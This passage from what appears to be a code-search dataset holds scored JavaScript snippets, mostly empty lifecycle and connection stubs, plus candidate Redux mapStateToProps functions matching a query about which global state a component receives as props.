this.appConfig.messageDeleteUrl;\n this.connection.longPollUrl = this.appConfig.longPollUrl;\n this.connection.websocketUrl = this.appConfig.websocketUrl;\n this.connection.userStateUrl = this.appConfig.userStateUrl;\n this.connection.username = this.user.username;\n this.connection.channels = this.user.subscribedChannels;\n this.connection.listenMessageCallback = (data) => this.receivedMessage(data);\n this.connection.connectCallback = (request, data) => this.handleConnected(data);\n this.connection.subscribeCallback = (request, data) => this.handleSubscribed(data);\n this.connection.unsubscribeCallback = (request, data) => this.handleUnsubscribed(data);\n this.connection.channelsChangedCallback = () => this.handleChannelsChange();\n\n // enable for tests\n // this.connection.noWebsocket = true;\n // add a mutator for demo purposes - modify the request\n // to inject some state vars to connection json\n this.connection.addMutator('connect', function (request) {\n request.body.state = {email: this.user.email, status: 'ready'};\n }.bind(this));\n this.connection.connect();\n this.addEventListener('channelpicker-subscribe', this.subscribeToChannel);\n this.addEventListener('change-status', this.changeStatus);\n this.addEventListener('message-send', this.messageSend);\n this.addEventListener('message-edit', this.messageEdit);\n this.addEventListener('message-delete', this.messageDelete);\n }", "title": "" }, { "docid": "357f5d13af5a6c382a9f6e0a03f4599f", "score": "0.52612513", "text": "connectedCallback() {\n // Useful for running setup code, such as fetching resources or \n // rendering. Generally, you should try to delay work until this time.\n }", "title": "" }, { "docid": "5a9568d8dddd65ed6e045b8b5e87ce01", "score": "0.5230817", "text": "async configure() {\n this._throwNotImplementedError('configure');\n }", "title": "" }, { "docid": "34756a39f585fb7f0636bc1a8eabf528", "score": "0.5225731", "text": "constructor() {\n this._setup(); // DO NOT REMOVE\n }", "title": "" }, { "docid": "8ce8db29abc8dbb144d2a71652409e05", "score": "0.52224153", "text": "handleResponse() {\n // implement this function in the extended objects\n }", "title": "" }, { "docid": "0b9b64afbc55efee8163443235f43d22", "score": "0.52196896", "text": "whenReady() {\n //\n }", "title": "" }, { "docid": "5dddfa88009f673c5756e7010696c11f", "score": "0.5219398", "text": "_initConnRead() {\n this.ctx.transaction = this.app.mysql.get('db_read');\n this.ctx.transaction.mode = 'single';\n }", "title": "" }, { "docid": "d94729eff719166a1a52e823ae781658", "score": "0.5202296", "text": "reset () { throw new Error('Not Yet Implemented') }", "title": "" }, { "docid": "3c3828217f5578cb1a288fadbde92529", "score": "0.5190779", "text": "get connector() {\n return this._connector;\n }", "title": "" }, { "docid": "88082f519853d9476a22a7c37bd0cffc", "score": "0.51830435", "text": "async connect() { }", "title": "" }, { "docid": "13d962699c156a2866a75384833bf18e", "score": "0.51758593", "text": "function Mechanism() {\n }", "title": "" }, { "docid": "4aa0b97e43092636a5fe38cff5704aad", "score": "0.51715106", "text": "initialize() {\n return;\n }", "title": "" }, { "docid": "89353dc6a739aee8f461e39005afc5e6", "score": "0.5161505", "text": "function DummyTransport() {}", "title": "" }, { "docid": "82e677ddbc18485996c29876c21bea16", "score": "0.5158608", "text": "start() {\n return Promise.reject(\"When inherting StreamDSL, the start method should be overwritten with connector logic.\");\n }", "title": "" }, { "docid": "1767d607a67408cf6687f4f92c012259", "score": "0.5151232", "text": "$beforeDisconnect() {}", "title": "" }, { "docid": "3afc0ef1affba14a9b55017119e28502", "score": "0.5144861", "text": "createClientHandle(){\n throw new Error('Unimplemented');\n }", "title": "" }, { "docid": "ec3f60e209992300663276923963fb07", "score": "0.51439166", "text": "_getWriteStream() {\n throw new Error(`${this.name} storage adapter does not properly override the _getWriteStream method`);\n }", "title": "" }, { "docid": "43a4f6ed4de9d74375f28d1d3353c6d4", "score": "0.5138341", "text": "before (callback) {\n\t\t// run standard set up for the test but delete the streamId and provide matching file instead\n\t\tsuper.before(() => {\n\t\t\tdelete this.data.streamId;\n\t\t\tthis.data.file = this.repoStreams[0].file;\n\t\t\tcallback();\n\t\t});\n\t}", "title": "" }, { "docid": "8da87611931ef47e2d43898c0be022da", "score": "0.51366776", "text": "function test_automate_engine_database_connection() {}", "title": "" }, { "docid": "3262c3ccd1471648b6cf4eaceb6799a7", "score": "0.51355964", "text": "async connect() {\n // not needed\n }", "title": "" }, { "docid": "49a2c96477db7a07d96e10c0133c03cd", "score": "0.51351416", "text": "disconnectedCallback(){super.disconnectedCallback()}", "title": "" }, { "docid": "9b94fca58ffaf60ce9eadc52c775b51e", "score": "0.5125835", "text": "configure () {\n\n }", "title": "" }, { "docid": "a09920049285e2ac2a0ad450f3c9341d", "score": "0.5120958", "text": "update() { /* stub */\n }", "title": "" }, { "docid": "33a18e3ebb3f4aeb36fcc9ebe985a33f", "score": "0.5116024", "text": "before (callback) {\n\t\t// run the standard test setup for creating a file-type stream...\n\t\tsuper.before(error => {\n\t\t\tif (error) { return callback(error); }\n\t\t\t// ...and give our test stream the same file-related attributes, this should cause the server\n\t\t\t// to find the existing file-type stream, and return that in the response\n\t\t\tthis.data.repoId = this.duplicateStream.repoId;\n\t\t\tthis.data.file = this.duplicateStream.file;\n\t\t\tcallback();\n\t\t});\n\t}", "title": "" }, { "docid": "eea2afd031bc5d8cb6fbcaa76f28de9a", "score": "0.5115062", "text": "init() {\n\t\tthis.replaceData(\n\t\t\tthis.manager.get(\"noReq\"),\n\t\t\tthis.endpoints.get,\n\t\t\tthis.data.get\n\t\t);\n\t}", "title": "" }, { "docid": "8e1ea72dada847c9fa0de55a6dbe115f", "score": "0.51136565", "text": "prepare() {\n\n }", "title": "" }, { "docid": "15b1c4adb6bd306774a6b80fdeaedfa8", "score": "0.5111388", "text": "ready() {\n super.ready();\n }", "title": "" }, { "docid": "15b1c4adb6bd306774a6b80fdeaedfa8", "score": "0.5111388", "text": "ready() {\n super.ready();\n }", "title": "" }, { "docid": "15b1c4adb6bd306774a6b80fdeaedfa8", "score": "0.5111388", "text": "ready() {\n super.ready();\n }", "title": "" }, { "docid": "15b1c4adb6bd306774a6b80fdeaedfa8", "score": "0.5111388", "text": "ready() {\n super.ready();\n }", "title": "" }, { "docid": "15b1c4adb6bd306774a6b80fdeaedfa8", "score": "0.5111388", "text": "ready() {\n super.ready();\n }", "title": "" }, { "docid": "b3aefb46d4c67240018731ed3431a5d9", "score": "0.5110436", "text": "function _addFbConnectorSucceed(connector) {\n RightMenu.rightMenuLoading(false);\n DataSources.addConnector(ConnectorsTemplate.ConnectorType.Facebook, connector);\n ////RightMenu.showHideRightMenu(false);\n ////DataSourcesHelper.addConnector(ConnectorsTemplate.ConnectorType.Facebook, connector);\n ////DataSources.showConnector(connector);\n }", "title": "" }, { "docid": "0b099bdf9f21e4bfd3c3ebffebd75e2d", "score": "0.51065433", "text": "connectedCallback() {\n super.connectedCallback();\n\n console.info('connected.');\n }", "title": "" }, { "docid": "8f9335e87ed046b673803cab4f7107cd", "score": "0.5106332", "text": "function afterConnection(){\n\t\tcreateArray();\n\t\n}", "title": "" }, { "docid": "322dccb2493031ed428b92d534968455", "score": "0.5098004", "text": "disconnect() {\n\n\t}", "title": "" }, { "docid": "4c2fcf498a752101ed2ba73c690b4e0b", "score": "0.5087029", "text": "connectedCallback() {\n super.connectedCallback();\n this.id = this._generateUUID();\n }", "title": "" }, { "docid": "a7915e24d529c9aa1775ec544317f1dc", "score": "0.5086494", "text": "OnCreateParamsProcessed() { }", "title": "" }, { "docid": "54b67f3d2c641de3bd5d3c5b0b4b0438", "score": "0.5081315", "text": "onConnectionError() {\n\n }", "title": "" }, { "docid": "4458799ff0103eea0c528dac17b1a7aa", "score": "0.5077261", "text": "initialize() {\r\n return null;\r\n }", "title": "" }, { "docid": "8be3c3a5aa1dc86b9430adde50f13556", "score": "0.50771374", "text": "async link()\n {\n AbstractMethodCall();\n }", "title": "" }, { "docid": "368167e370df6b0836bc47c4a1cf7a9c", "score": "0.50563955", "text": "beforeApply() {}", "title": "" }, { "docid": "3590412cc80b880e0791640e3916fede", "score": "0.505599", "text": "connectedCallback(){this.__ready=!0;this.HAXWiring=new HAXWiring;this.HAXWiring.setup(UserAction.haxProperties,UserAction.tag,this)}", "title": "" }, { "docid": "3c5b7f7ea4a355a3b318db8a030022d7", "score": "0.5052071", "text": "init() {\n\t\t// Could be implemented\n\t}", "title": "" }, { "docid": "c9425cd052b9e65ad1ad1843d1dc05e9", "score": "0.5049078", "text": "init () {\n this.replaceData(this.manager.get(\"hostReq\"), this.endpoints.get, this.data.get);\n }", "title": "" }, { "docid": "fab50dc441e723f92eec4ecc0e7b236d", "score": "0.50344175", "text": "connectedCallback() {\n this.idField = this.fromObject + '.Id';\n }", "title": "" }, { "docid": "1f52d789b29b805ef2addcc74dce026c", "score": "0.5032736", "text": "preStepLogic() {\n // console.log('try sync')\n if (this.syncClient != null) {\n if (this.app.state.clock) {\n if (this.app.state.xebraReady) {\n console.log('sync')\n this.app.xebraState.sendMessageToChannel(this.app.state.channel, [\n this.app.state.clockMessage,\n this.getAdjustedSyncTime()\n ])\n }\n }\n }\n /* For some reason, Serializer gives an error only in production. \n Ensuring that inboundMessages is empty prevents it and I don't need this right now. \n If I add actual game objects will need to figure this out. */\n this.inboundMessages = []\n }", "title": "" }, { "docid": "1753f22beaa341453765e0dbf579c493", "score": "0.5030207", "text": "prepare() {\n }", "title": "" }, { "docid": "a5c485379ee917157bf91dbeb32b198c", "score": "0.50293326", "text": "onready() {}", "title": "" }, { "docid": "f38f601b36177f810621ca53545ef6af", "score": "0.5028287", "text": "_FBPReady(){super._FBPReady();// this._FBPTraceWires()\n}", "title": "" }, { "docid": "01962a6c3073bfe8c6363282f7406189", "score": "0.5026936", "text": "ready() {\n super.ready();\n }", "title": "" }, { "docid": "01962a6c3073bfe8c6363282f7406189", "score": "0.5026936", "text": "ready() {\n super.ready();\n }", "title": "" }, { "docid": "01962a6c3073bfe8c6363282f7406189", "score": "0.5026936", "text": "ready() {\n super.ready();\n }", "title": "" }, { "docid": "3c283d98b8eca72fc32eb5ab802664a2", "score": "0.50242996", "text": "_FBPReady(){super._FBPReady();//this._FBPTraceWires()\n}", "title": "" }, { "docid": "3c283d98b8eca72fc32eb5ab802664a2", "score": "0.50242996", "text": "_FBPReady(){super._FBPReady();//this._FBPTraceWires()\n}", "title": "" }, { "docid": "3c283d98b8eca72fc32eb5ab802664a2", "score": "0.50242996", "text": "_FBPReady(){super._FBPReady();//this._FBPTraceWires()\n}", "title": "" }, { "docid": "3c283d98b8eca72fc32eb5ab802664a2", "score": "0.50242996", "text": "_FBPReady(){super._FBPReady();//this._FBPTraceWires()\n}", "title": "" }, { "docid": "3c283d98b8eca72fc32eb5ab802664a2", "score": "0.50242996", "text": "_FBPReady(){super._FBPReady();//this._FBPTraceWires()\n}", "title": "" }, { "docid": "3c283d98b8eca72fc32eb5ab802664a2", "score": "0.50242996", "text": "_FBPReady(){super._FBPReady();//this._FBPTraceWires()\n}", "title": "" }, { "docid": "3c283d98b8eca72fc32eb5ab802664a2", "score": "0.50242996", "text": "_FBPReady(){super._FBPReady();//this._FBPTraceWires()\n}", "title": "" }, { "docid": "3d357c02a7e880281c849fc335469d39", "score": "0.5023872", "text": "async onReady() {\n // Initialize your adapter here\n\n // try changing a data state object:\n for (const attr in DATAFIELDS) {\n\n for (const ch in DATAFIELDS[attr].channels) {\n\n // check object for existence and update if needed\n const obj_id = DATAFIELDS[attr].channels[ch].channel + '.' + DATAFIELDS[attr].id;\n const that = this;\n this.verify_datapoint(obj_id, that, DATAFIELDS[attr], DATAFIELDS[attr].channels[ch].name);\n }\n }\n\n // The adapters config (in the instance object everything under the attribute \"native\") is accessible via\n // this.config:\n\n if (this.config.scheduler_active == true) {\n this.log.info('Starting Scheduler');\n this.scheduler = new Scheduler(this.config, this);\n this.scheduler.start();\n }\n\n if (this.config.listener_active == true) {\n this.listener = new Listener(this.config.bind, this.config.port, this.config.path, this.config.listener_protocol, this.config.listener_forward_url, this);\n this.listener.start();\n }\n }", "title": "" }, { "docid": "57ef53366d24a258cd43fddc46b3c4f0", "score": "0.50183624", "text": "_initConnWrite() {\n this.ctx.transaction = this.app.mysql.get('db_write');\n this.ctx.transaction.mode = 'single';\n }", "title": "" }, { "docid": "0a93691751fd5e4b5153c9eaabf49911", "score": "0.50166893", "text": "bodyDataBeforeApiFirstResponds() {\n \tthrow new Error('Implementing bodyDataBeforeApiFirstResponds method is mandatory for sub class of ApiComponent');\n }", "title": "" }, { "docid": "d30d47bbe18c18ae3504bfd29f35e15d", "score": "0.50165045", "text": "_FBPReady(){super._FBPReady();this._FBPTraceWires()}", "title": "" }, { "docid": "d30d47bbe18c18ae3504bfd29f35e15d", "score": "0.50165045", "text": "_FBPReady(){super._FBPReady();this._FBPTraceWires()}", "title": "" }, { "docid": "d30d47bbe18c18ae3504bfd29f35e15d", "score": "0.50165045", "text": "_FBPReady(){super._FBPReady();this._FBPTraceWires()}", "title": "" }, { "docid": "d30d47bbe18c18ae3504bfd29f35e15d", "score": "0.50165045", "text": "_FBPReady(){super._FBPReady();this._FBPTraceWires()}", "title": "" } ]
0e3444c39dc3da0df90007f9821ee352
Which part of the Redux global state does our component want to receive as props?
[ { "docid": "f31386f9891bbacfc6f49d61debec6fd", "score": "0.0", "text": "function mapStateToProps(state) {\n return {\n \tnavState: state.navState,\n searchResults: state.searchResults,\n isFetchingMoreCopysFromParse: state.isFetchingMoreCopysFromParse,\n noMoreCopysFromParse: state.noMoreCopysFromParse\n };\n}", "title": "" } ]
[ { "docid": "22da71fdabb731fcdeb6015e4ad49f4d", "score": "0.7095458", "text": "function mapStateToProps(state) {\n // It returns an OBJECT where \n // the keys are the name of the prop your comp wants to use\n // the values are the actual parts of the global state your comp wants\n return {\n playerName: state.playerName,\n questions: state.questions,\n index: state.index,\n correct: state.correct,\n correctCount: state.correctCount,\n incorrect: state.incorrect\n }\n}", "title": "" }, { "docid": "b90c265ef8e0de2199ed3a4dc7002d7b", "score": "0.7072656", "text": "function mapStateToProps(state){\n // mapStateToProps returns object with:\n // 1. property is the local prop name to this component\n // 2. value will be the property in the root reducer... ie. a piece of the store.\n return {\n frozenData: state.frozen,\n meatData: state.meat,\n produceData: state.produce,\n\n\n }\n}", "title": "" }, { "docid": "93aa0a9cee49090e859008f0933f9820", "score": "0.7056903", "text": "function mapStateToProps(state){\n return state //the app component gets all of the state\n}", "title": "" }, { "docid": "d4fd6103eb43ae8c65916a5f648b5087", "score": "0.700542", "text": "function mapStateToProps(state){\r\n return {\r\n database: state.database,\r\n visible: state.application.musiccollectionVisible,\r\n }\r\n}", "title": "" }, { "docid": "078f87aefc80fafb4236c6e58b071aa9", "score": "0.6981231", "text": "function mapStateToProps(state){\n //this object that we return will have its key: value pairs inside of props for the component at the end\n return {\n titlesInOurStoresState: state.titles\n }\n}", "title": "" }, { "docid": "e519c2b717c86b1629de8a246b28fa34", "score": "0.69753593", "text": "function mapStateToProps(state){\n return{\n current: state.current\n };\n}", "title": "" }, { "docid": "4f738bcac209813ed2ccf2a55368dbf3", "score": "0.69117254", "text": "function mapStateToProps(state) {\n return {\n view: state.currentAppView\n }\n}", "title": "" }, { "docid": "e452958e13dc55f6229f4c106d1d5eab", "score": "0.6904103", "text": "function mapStateToProps (state) {\n //find out from Luke if stuff goes here......\n return state;\n}", "title": "" }, { "docid": "097e3b3de2002ca2f82ab94f323b282a", "score": "0.68956274", "text": "function mapStateToProps(state) {\n return {\n auth: state.system.auth,\n dataset: state.databind.dataset\n };\n}", "title": "" }, { "docid": "84f00e6a2d8b14fee66ab35f08ada481", "score": "0.68648785", "text": "function mapStateToProps(state) {\n return {\n something: 'something'\n }\n}", "title": "" }, { "docid": "bc0f57ef77e3dce4e7e8b33ad2934f55", "score": "0.6862485", "text": "function mapStateToProps(appState){\n //object returned will be merged with props\n return{\n names: appState.names\n };\n}", "title": "" }, { "docid": "d026f399da62bd01d1efdd193c85bf85", "score": "0.685982", "text": "function mapStateToProps(ownProps) {\n return {\n topics: store.getters.getTopics(),\n isLoading: store.getters.isLoading()\n};\n}", "title": "" }, { "docid": "9cb43f03f234ae77721eab49349a595f", "score": "0.683192", "text": "function mapStateToProps({foo}) { \n return { foo };\n}", "title": "" }, { "docid": "363a56d6bd476c1d553392aa62e0a28a", "score": "0.6828233", "text": "function mapStateToProps (state) {\n\treturn {\n\t\tappData: state.appData\n\t}\n}", "title": "" }, { "docid": "6620b7a03f2a10c19e2ab24fa9e7d9ed", "score": "0.6797364", "text": "function mapStateToProps(state) {\n return {statistics: state.statistics};\n}", "title": "" }, { "docid": "7fefa07a98dccd1557f339cfb9e0b27e", "score": "0.6790042", "text": "function mapStateToProps(state) {\n return {\n value:state.payload\n }\n}", "title": "" }, { "docid": "3cd7867aefbc01f1c366415a54bf8894", "score": "0.6772263", "text": "function mapStateToProps(state, ownProps) {\n console.log(state);\n return { text: \"wow\" }\n }", "title": "" }, { "docid": "7d939579bdb67ec82f022e2af808cd8c", "score": "0.6760892", "text": "function mapStateToProps(state, ownProps) {\n return { categories: state.categories.current }\n}", "title": "" }, { "docid": "955d6a7332cdbee6ea35ef8f08e3b44c", "score": "0.6743284", "text": "function mapStateToProps(reduxState) {\n console.log(\"redux state?\", reduxState);\n return {\n devs: reduxState.developers\n };\n}", "title": "" }, { "docid": "3e8ecb7bf4fc07cca2961f193fe9944c", "score": "0.67425096", "text": "function mapStateToProps(state) {\n return {};\n}", "title": "" }, { "docid": "3e8ecb7bf4fc07cca2961f193fe9944c", "score": "0.67425096", "text": "function mapStateToProps(state) {\n return {};\n}", "title": "" }, { "docid": "3e8ecb7bf4fc07cca2961f193fe9944c", "score": "0.67425096", "text": "function mapStateToProps(state) {\n return {};\n}", "title": "" }, { "docid": "3e8ecb7bf4fc07cca2961f193fe9944c", "score": "0.67425096", "text": "function mapStateToProps(state) {\n return {};\n}", "title": "" }, { "docid": "3e8ecb7bf4fc07cca2961f193fe9944c", "score": "0.67425096", "text": "function mapStateToProps(state) {\n return {};\n}", "title": "" }, { "docid": "3e8ecb7bf4fc07cca2961f193fe9944c", "score": "0.67425096", "text": "function mapStateToProps(state) {\n return {};\n}", "title": "" }, { "docid": "3e8ecb7bf4fc07cca2961f193fe9944c", "score": "0.67425096", "text": "function mapStateToProps(state) {\n return {};\n}", "title": "" }, { "docid": "5c6396e5e18859e47275835cbd04f6ad", "score": "0.67394966", "text": "function mapStateToProps(state) {\n\treturn {\n\t\tfull_list_urls: state.GlobalReducer.full_list_urls,\n\t\tscraper_settings: state.GlobalReducer.scraper_settings,\n\t}\n}", "title": "" }, { "docid": "f96a01c97b8cc51660c6ca67878772cf", "score": "0.67291707", "text": "function mapStateToProps(state){\n\tconst health = state.main.currentGame.currentHealth; \n return({\n health\n });\n}", "title": "" }, { "docid": "a86fb04da1a63d12ff1d6b12191783d7", "score": "0.6716697", "text": "function mapStateToProps(state){\n console.log('Redux state in Clock Component: ', state);\n return {\n //this time becomes a property inside of the props of this component\n time: state.clock.time\n };\n}", "title": "" }, { "docid": "a91b6ad37d0c88f3e0bc7f008bc41946", "score": "0.6713369", "text": "function mapStateToProps(state) {\n return {};\n}", "title": "" }, { "docid": "a91b6ad37d0c88f3e0bc7f008bc41946", "score": "0.6713369", "text": "function mapStateToProps(state) {\n return {};\n}", "title": "" }, { "docid": "a91b6ad37d0c88f3e0bc7f008bc41946", "score": "0.6713369", "text": "function mapStateToProps(state) {\n return {};\n}", "title": "" }, { "docid": "a91b6ad37d0c88f3e0bc7f008bc41946", "score": "0.6713369", "text": "function mapStateToProps(state) {\n return {};\n}", "title": "" }, { "docid": "a91b6ad37d0c88f3e0bc7f008bc41946", "score": "0.6713369", "text": "function mapStateToProps(state) {\n return {};\n}", "title": "" }, { "docid": "dd4417f8f4a47cc160b0333485ac31dc", "score": "0.6705527", "text": "function mapStateToProps(store, ownProps) {\n return {\n tickets: store.tickets,\n tags: store.tags,\n }\n}", "title": "" }, { "docid": "de485df9a6c4892ae864bc10e63bf51b", "score": "0.6703752", "text": "function mapStateToProps(state, ownProps) {\n return {\n config: state.app.config,\n workspaceItems: state.app.workspaceItems,\n force: state.app.force\n };\n}", "title": "" }, { "docid": "9453ab4c720686463341f156cdead91b", "score": "0.6699444", "text": "function mapStateToProps(state) {\n return {\n userContext: state.currentUserItemContext,\n currentItemName: state.currentDesignComponentName,\n view: state.currentAppView,\n mode: state.currentViewMode,\n viewOptions: state.currentUserViewOptions\n }\n}", "title": "" }, { "docid": "716e49fd13a260ecd510c7ffff1f114c", "score": "0.6687011", "text": "function mapStateToProps(state) {\n return {\n addsDataFromStore : state.Adds_Data_Updater,\n loggedInUserInfo: state.Loged_in_user_info,\n // decCounter : state.decrementCounter.decrementState\n };\n}", "title": "" }, { "docid": "b3f424618ac08f9a69ebdc5e2cf2fd9f", "score": "0.6685758", "text": "function mapStateToProps(state) {\n // Whatever is returned from here will be props for you component\n return {\n activeBook: state.activeBook\n }\n}", "title": "" }, { "docid": "4d1a7eef4529d3a8faa17e829bb60ad5", "score": "0.6683104", "text": "function mapStateToProps({ auth }) {\n //drog piece info from state\n return { auth };\n}", "title": "" }, { "docid": "7c2990b0d33f3cbfed8a433231b550fd", "score": "0.6671672", "text": "function mapStateToProps(state, ownProps) {\n\n}", "title": "" }, { "docid": "31bbd2bc458e899b8e04ff2b51de5cc7", "score": "0.667052", "text": "function getStateFromRedux(appState) {\n return {\n // Any properties here are put on this.props\n currentValue: appState.currentValue,\n futureValues: appState.futureValues,\n previousValues: appState.previousValues\n }\n}", "title": "" }, { "docid": "2bf7be26022ec2dff4ca2bc85955c2f7", "score": "0.6648444", "text": "function mapStateToProps(state) {\n return {\n // everything we get from the current user\n \n currentUser: state.currentUser\n };\n}", "title": "" }, { "docid": "6dc04e65c2c16e702928a2ca63a5861f", "score": "0.66457266", "text": "function mapStateToProps(state) {\n\t return {};\n\t}", "title": "" }, { "docid": "ca06ee10c5e468d282b2889cda1b67b1", "score": "0.66402185", "text": "function reduxState (state){\n return {\n MyGlobalReducer: state.MyGlobalReducer\n }\n}", "title": "" }, { "docid": "ce9d62e52020d517938031f24b11f29b", "score": "0.66379666", "text": "function mapStateToProps(reduxState){\n return reduxState\n}", "title": "" }, { "docid": "0a1de7fb589dc6ca57ea08e6b23c9fba", "score": "0.66259557", "text": "function mapStateToProps(state){\n return state;\n}", "title": "" }, { "docid": "8fd51538debc3d31af3e853a79504cd0", "score": "0.66204786", "text": "function mapStateToProps(store) {\n return {\n foo: store.foo, // dont use foo\n };\n}", "title": "" }, { "docid": "27e1ca226eb8563735ebdd08b050a5f0", "score": "0.6616969", "text": "function mapStateToProps(state) {\n\treturn state\n}", "title": "" }, { "docid": "ce92ea023c89981c3100f3f6401db6ba", "score": "0.6605074", "text": "function mapStateToProps(state) {\n return {\n addsDataFromStore : state.Adds_Data_Updater,\n // decCounter : state.decrementCounter.decrementState\n };\n}", "title": "" }, { "docid": "b2f024831fe93e44d9a2eb8da353621e", "score": "0.6601051", "text": "function mapStateToProps(state) {\r\n return state;\r\n}", "title": "" }, { "docid": "d94bfa815f9951cf7b71309af4391d70", "score": "0.660083", "text": "function mapStateToProps(state){\n\treturn {\n\t\tulykker: state.ulykker\n\t}\n}", "title": "" }, { "docid": "9702af089a0db422b2e7726b2d45753d", "score": "0.65997463", "text": "function mapStateToProps(state) {
\n return {
\n value: state
\n }\n 
}", "title": "" }, { "docid": "0bd8bdb2b304a5b4da5aa58525aa5b24", "score": "0.65916747", "text": "function mapStateToProps(state, ownProps) {\n return {\n config: state.app.config,\n pagination: state.app.pagination,\n force: state.app.force,\n app: state.app,\n selectedView: state.app.selectedView\n };\n}", "title": "" }, { "docid": "96cae373a46a477a7aaf40aa1103c558", "score": "0.6585512", "text": "function mapStateToProps(state) {\n return {\n loggedInUserInfo: state.Loged_in_user_info,\n tokenInfo: state.Token_info,\n // decCounter : state.decrementCounter.decrementState\n };\n}", "title": "" }, { "docid": "6e5d6085d782693cba7fbd6871e9ed96", "score": "0.6584377", "text": "function mapStateToProps(state) {\n const { main } = state;\n return { main };\n}", "title": "" }, { "docid": "ee828b3744065b66148087d8350358df", "score": "0.65793693", "text": "function mapStateToProps(state) {\n //whatever is returned will show up as props inside of BookDetail\n return {\n book : state.activeBook\n };\n}", "title": "" }, { "docid": "b56fab2c929cdddc4fd87016ee4b3a01", "score": "0.65752965", "text": "function mapStateToProps(state, ownProps) {\n return {\n config: state.app.config,\n selectedView: state.app.selectedView,\n force: state.app.force,\n dataList: state.dataList,\n showLoading: state.app.showLoading,\n preferences: state.app.preferences,\n overridePropsPrefs: state.app.overridePreferences.props\n };\n}", "title": "" }, { "docid": "ea342e0ee8320497c4d7393e083edede", "score": "0.6570614", "text": "function mapStateToProps(state) {\n //NOTE connecting the \"action\" in InitialState making it a prop here\n return {\n action: state.action,\n name: state.name\n };\n}", "title": "" }, { "docid": "74912e7c8fd65369d6c81a26819ccdd9", "score": "0.6569303", "text": "function mapStateToProps(state) {\n //Whatever is returned from here will show up as props inside of VideoList\n\n return {\n videos: state.activeVideo\n };\n}", "title": "" }, { "docid": "565ffc21680bb1c624f6498d634aa3d6", "score": "0.6568171", "text": "function mapStateToProps(state, ownProps) {\n return {\n config: state.app.config,\n views: state.app.views,\n selectedView: state.app.selectedView,\n filters: state.filters\n };\n}", "title": "" }, { "docid": "e70a013ad13ae663604c18323e1ec398", "score": "0.65672547", "text": "function mapStateToProps(state, props) {\n console.log(state)\nreturn {\n random: state.random.current,\n randomHistory: state.random.history\n}\n}", "title": "" }, { "docid": "f10f1f4026c54f1ddd6b6a67d57d8d7a", "score": "0.6567235", "text": "function mapStateToProps(state) {\n return {\n value: state\n }\n}", "title": "" }, { "docid": "0e29a7873977668298bab7b0f4b5bac8", "score": "0.6566527", "text": "function mapStateToProps(store) {\n return {\n app: store.app,\n menu: store.menu,\n object: store.rubix,\n ig: store.instaProxy,\n };\n}", "title": "" }, { "docid": "f785e760eb7cc996eb00a843f965c137", "score": "0.65632504", "text": "function mapStateToProps(state) {\n return state;\n}", "title": "" }, { "docid": "f785e760eb7cc996eb00a843f965c137", "score": "0.65632504", "text": "function mapStateToProps(state) {\n return state;\n}", "title": "" }, { "docid": "f785e760eb7cc996eb00a843f965c137", "score": "0.65632504", "text": "function mapStateToProps(state) {\n return state;\n}", "title": "" }, { "docid": "91c6386889688b7549172dd65545110f", "score": "0.656014", "text": "function mapStateToProps(state) {\n\treturn {\n\t};\n}", "title": "" }, { "docid": "ab41cd7561bc4dd00a8acb2d6f46c1b1", "score": "0.6549138", "text": "function mapStateToProps(state) {\n console.log(\"Redux home contaienr mapStateToProps\", state);\n return {\n // returns props\n // propName: property value\n counter: state.counter, \n //login: state.authState.login\n }\n}", "title": "" }, { "docid": "6001276be6faa2e6c9128315e4f1b136", "score": "0.6545082", "text": "function mapStateToProps(state){ //this is used to make the link of containers between react and redux\n // whatever is returned will show up ad props inside of BookList container\n return{\n books: state.books\n };\n}", "title": "" }, { "docid": "95882cd22125dc824c6ed35cbfb4e156", "score": "0.65446234", "text": "function mapStateToProps(state, ownProps) {\n return {\n redux: state.auth\n };\n}", "title": "" }, { "docid": "d1bed4015ce40a320af4db4f8f0cd2b9", "score": "0.65344846", "text": "function mapStateToProps(state, ownProps) {\n return {\n config: state.app.config,\n pagination: state.app.pagination,\n force: state.app.force\n };\n}", "title": "" }, { "docid": "7306abf9a823f572dd97f25d7adc7c70", "score": "0.6534365", "text": "function mapStateToProps (state) {\n return {\n logData: state.logData,\n quizActive: state.quizActive\n };\n}", "title": "" }, { "docid": "f53f904298a292d38825db2445a02df8", "score": "0.6533073", "text": "function mapStateToProps(state) {\r\n console.log(state);\r\n return {\r\n\r\n printNames: state.printNames,\r\n vehicalData: state.vehicalData,\r\n financialInfo: state.fincacialInfo,\r\n dealerPackage: state.dealerPackage,\r\n }\r\n}", "title": "" }, { "docid": "0f3abea72f684a2088c9f0e5e6269a83", "score": "0.6531918", "text": "function mapStateToProps(state) {\n return {\n\n };\n}", "title": "" }, { "docid": "e394eb65e51cc6a3432207856adf4db4", "score": "0.6530384", "text": "function mapStateToProps(storeData){\n return{\n mydata:storeData\n }\n}", "title": "" }, { "docid": "69034ae6fc276c77f87fcd9d0007f754", "score": "0.65240556", "text": "function mapStateToProps(state) {\n return state;\n}", "title": "" }, { "docid": "69034ae6fc276c77f87fcd9d0007f754", "score": "0.65240556", "text": "function mapStateToProps(state) {\n return state;\n}", "title": "" }, { "docid": "69034ae6fc276c77f87fcd9d0007f754", "score": "0.65240556", "text": "function mapStateToProps(state) {\n return state;\n}", "title": "" }, { "docid": "4a40291569c7cc2ff7ba1980da5076dc", "score": "0.65207464", "text": "function mapStateToProps(store) {\n return {\n book: store.activeBook\n };\n}", "title": "" }, { "docid": "2801a02255544a71c3276a0509531558", "score": "0.65190166", "text": "function mapStateToProps (state) {\n return {\n counter: state\n };\n }", "title": "" }, { "docid": "391d7e15fa0a6bab39a1c03429d9125a", "score": "0.65183616", "text": "function mapStateToProps(state) {\n return {\n userRole: state.currentUserRole,\n viewOptions: state.currentUserViewOptions,\n userContext: state.currentUserItemContext,\n testDataFlag: state.testDataFlag,\n dvDataLoaded: state.designVersionDataLoaded,\n testDataLoaded: state.testIntegrationDataLoaded,\n summaryDataLoaded: state.testSummaryDataLoaded,\n mashDataStale: state.mashDataStale,\n testDataStale: state.testDataStale\n }\n}", "title": "" }, { "docid": "7a64c89c1972ec899a507880f7bbba47", "score": "0.65176475", "text": "function mapStateToProps(state) {\n return {\n counter: state.counter\n };\n}", "title": "" }, { "docid": "b84976da1fcb52a2bf4f8471ed98a175", "score": "0.6516253", "text": "getProps(inputState) {\n const state = inputState ? inputState : Store.getState();\n return this.mapStateToProps(state,null);\n }", "title": "" }, { "docid": "28db9bdc455f53d29eef67fa87413336", "score": "0.651306", "text": "function mapStateToProps(state) {\n return {\n\n }\n}", "title": "" }, { "docid": "28db9bdc455f53d29eef67fa87413336", "score": "0.651306", "text": "function mapStateToProps(state) {\n return 